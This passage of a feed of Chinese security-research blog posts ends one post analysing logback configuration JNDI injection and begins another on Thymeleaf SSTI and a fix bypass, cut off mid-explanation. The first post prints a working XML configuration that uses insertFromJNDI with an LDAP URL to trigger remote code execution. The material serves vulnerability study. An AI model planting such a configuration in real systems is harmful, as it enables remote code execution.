class="code-snippet__name">root</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;"><span style="white-space: pre-wrap;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p style="margin: 0px 0px 1.2em !important;"><span style="white-space: pre-wrap;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">同样的，直接运行</span><code style="white-space: pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);border-radius: 3px;display: inline;">SpringApplication.run()</code><span style="white-space: pre-wrap;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">所在方法，即可触发漏洞：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5042602633617351" data-s="300,640" style="" data-type="png" data-w="2582" src="https://wechat2rss.xlab.app/img-proxy/?k=3edea322&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jVt8ibKxXRJk8MEWkCc80ul8fauXAgPWh3GHHZDAromZ2KeazCBqw4OQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">实际上跟踪一下可以发现，最终会进入到<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">JNDIConnectionSource.java</code>的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">getConnection</code>方法，如果dataSource 为空，那么就令<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">dataSource = lookupDataSource();</code><br/></p><p style="margin: 0px 0px 1.2em !important;">然后在<strong>lookupDataSource()</strong> 中触发 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">lookup</code>:</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3983926521239954" data-s="300,640" style="" data-type="png" data-w="1742" src="https://wechat2rss.xlab.app/img-proxy/?k=328b6e50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jibLibSZaUOUD7whUia8yIzHCciaPbHeUU1eicRaStTAdZBj68TZtnlAQs2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">不过这里需要注意的是，JNDIConnectionSource类是通过无参构造函数获取 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">javax.naming.InitialContext</code>，这种方式在 J2EE 环境通常可以行得通，但是在 J2EE 环境之外，需要额外提供一个 <em>jndi.properties</em> 的配置文件才可以。<br/></p><p style="margin: 0px 0px 1.2em !important;">实际上除了上述方式，还有一种配置不借助 DBAppender 也可以直接实现 RCE，配置如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">insertFromJNDI</span> <span class="code-snippet__attr">env-entry-name</span>=<span class="code-snippet__string">&#34;ldap://127.0.0.1:1389/erqtcd&#34;</span> <span class="code-snippet__attr">as</span>=<span class="code-snippet__string">&#34;appName&#34;</span> /&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">root</span> <span class="code-snippet__attr">level</span>=<span class="code-snippet__string">&#34;DEBUG&#34;</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appender-ref</span> <span class="code-snippet__attr">ref</span>=<span class="code-snippet__string">&#34;CONSOLE&#34;</span> /&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">root</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">运行项目即可实现 RCE：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6215034965034965" data-s="300,640" style="" data-type="png" data-w="2288" src="https://wechat2rss.xlab.app/img-proxy/?k=95f0df02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2j7vn0p96aia3qhH7dtwibMDiaAL0l4LTVxtk96CoDjXbmjiaGGpZxBsicysg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">同样跟踪可以发现，是在<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">InsertFromJNDIAction.java</code>的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">begin</code>方法中调用了 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">JNDIUtil.lookup</code> 方法，从而触发漏洞：<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6125696101829753" data-s="300,640" style="" data-type="png" data-w="2514" src="https://wechat2rss.xlab.app/img-proxy/?k=1af213ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2j9M53oB6dyJBaQJ6UrNlH6SZxtibxRruBpLYpjYGKlLfojHbjKXHOhIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">当然，还有 JMX 同样可以实现RCE，原理大致相同，这里不在赘述<br/></p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x04 写在最后</h2><p style="margin: 0px 0px 1.2em !important;">上面的方式确实比较鸡肋，正如 pull request 那里写的：</p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;"><strong>如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。</strong></p></blockquote><p style="margin: 0px 0px 1.2em !important;">但还是有可行的场景的， 通过查阅资料我发现，logback配置文件中有个特色属性为 scan，只要配置文件中配置了 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">scan</code> 属性，那么系统会启动一个scan task监控配置文件的变动，如果发生变化，那么就在配置文件变更时的自动加载新的配置文件，具体场景发现已经有人做了实验，可以参考：<a href="https://xz.aliyun.com/t/7351" target="_blank">https://xz.aliyun.com/t/7351</a></p><p style="margin: 0px 0px 1.2em !important;">当然，可能在绝大多数情况下这些方式都是没用的，但是，请尽情的发挥想象，思考可能的攻击场景吧</p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x05 参考</h2><p style="margin: 0px 0px 1.2em !important;"><a href="https://github.com/apache/logging-log4j2/pull/608" target="_blank">https://github.com/apache/logging-log4j2/pull/608</a><br/><a href="https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq" target="_blank">https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq</a><br/><a href="https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders" target="_blank">https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders</a><br/></p>



<p><a href="https://www.cnpanda.net/sec/1131.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a4e56071&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484011%26idx%3D1%26sn%3D208a34b10d9074fb25579a91123ca5f4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 13 Dec 2021 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Thymeleaf SSTI 分析以及最新版修复的Bypass</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483996&amp;idx=1&amp;sn=c66b43c4dc096fbf91f8de48467f2f5f</link>
      <description>Thymeleaf SSTI 分析以及最新版针对 SSTI 修复的Bypass技巧分析和介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-11-20 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>Thymeleaf SSTI 分析以及最新版针对 SSTI 修复的Bypass技巧分析和介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cb81e282&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoUAys4WODXIyuAxNlwWRw03biaD6jibj1Vpo5sm3icoOXyLeGiaAp7w9UrA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x01 写在前面</h2><p><br/></p><p style="margin: 0px 0px 1.2em !important;">前段时间补上了迟迟没有写的 文件包含漏洞原理与实际案例介绍一文，在其中就提到了 Thymeleaf SSTI 漏洞，昨天在赛博群里三梦师傅扔了一个随手挖的 CVE——Thymeleaf SSTI Bypass，想着之前项目的代码还没清理，一起分析来看看<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x02 Thymeleaf SSTI</h2><p><br/></p><p style="margin: 0px 0px 1.2em !important;">Thymeleaf 是与 java 配合使用的一款服务端模板引擎，也是 Spring 官方支持的一款服务端模板引擎。SSTI 漏洞最初是由 James Kettle 提出并研究的， Emilio Pinna 对他的研究进行了补充，不过这些作者都没有对 Thymeleaf 进行 SSTI 相关的漏洞研究工作，后来 Aleksei Tiurin 在 ACUNETIX 的官方博客上发表了关于 Thymeleaf SSTI 的文章，因此 Thymeleaf SSTI 逐渐被安全研究者关注。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">为了更方便读者理解这个 Bypass，因此在这里简单说一遍一些基础性的内容，如果了解的，可以直接跳到 0x03 的内容。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">Thymeleaf 表达式可以有以下类型：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">${...}</code>：</p><p>变量表达式 —— 通常在实际应用，一般是OGNL表达式或者是 Spring EL，如果集成了Spring的话，可以在上下文变量（context variables ）中执行</p></li><li style="margin: 0.5em 0px;"><p><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">*{...}</code>: 选择表达式 —— 类似于变量表达式，区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。</p></li><li style="margin: 0.5em 0px;"><p><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">#{...}</code>: Message (i18n) 表达式 —— 允许从外部源（比如<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">.properties</code>文件）检索特定于语言环境的消息</p></li><li style="margin: 0.5em 0px;"><p><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">@{...}</code>: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径（URL重写）。</p></li><li style="margin: 0.5em 0px;"><p><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{...}</code>：</p><p>片段表达式 —— <strong>Thymeleaf 3.x 版本新增的内容</strong>，分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">正是由于这些表达式，片段可以被复制，或者作为参数传递给其他模板等等</span></p></li></ul><p style="margin: 0px 0px 1.2em !important;">实际上，Thymeleaf  出现 SSTI 问题的主要原因也正是因为这个片段表达式，我们知道片段表达式语法如下：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">第一，<strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{templatename::selector}</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，会在</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/WEB-INF/templates/</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">目录下寻找名为</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">templatename</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">的模版中定义的</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fragment</code></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">如有一个 html 文件的代码如下：<span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE html&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span> <span class="code-snippet__attr">xmlns:th</span>=<span class="code-snippet__string">&#34;<a href="http://www.thymeleaf.org" target="_blank">http://www.thymeleaf.org</a>&#34;</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">div</span> <span class="code-snippet__attr">th:fragment</span>=<span class="code-snippet__string">&#34;banquan&#34;</span>&gt;</span> &amp;copy; 2021 ThreeDream yyds<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">div</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">然后在另一template中可以通过片段表达式引用该片段：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">div</span> <span class="code-snippet__attr">th:insert</span>=<span class="code-snippet__string">&#34;~{footer :: banquan}&#34;</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">div</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">th:insert</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">th:replace:</code>插入片段是比较常见的用法</p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">第二，</span><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{templatename}</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，引用整个</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">templatename</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">模版文件作为</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fragment</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">这个也比较好理解，不做详细举例</p><p>第三，<strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{::selector}</code> 或 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{this::selector}</code></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，引用来自同一模版文件名为</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">selector</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">的</span><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fragmnt</code></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">在这里，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">selector</code>可以是通过<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">th:fragment</code>定义的片段，也可以是类选择器、ID选择器等。</p><p>第四，<strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">当<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">~{}</code>片段表达式中出现<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>，那么 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin-right: 0.15em;margin-left: 0.15em;padding-right: 0.3em;padding-left: 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">::</code>后需要有值（也就是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, 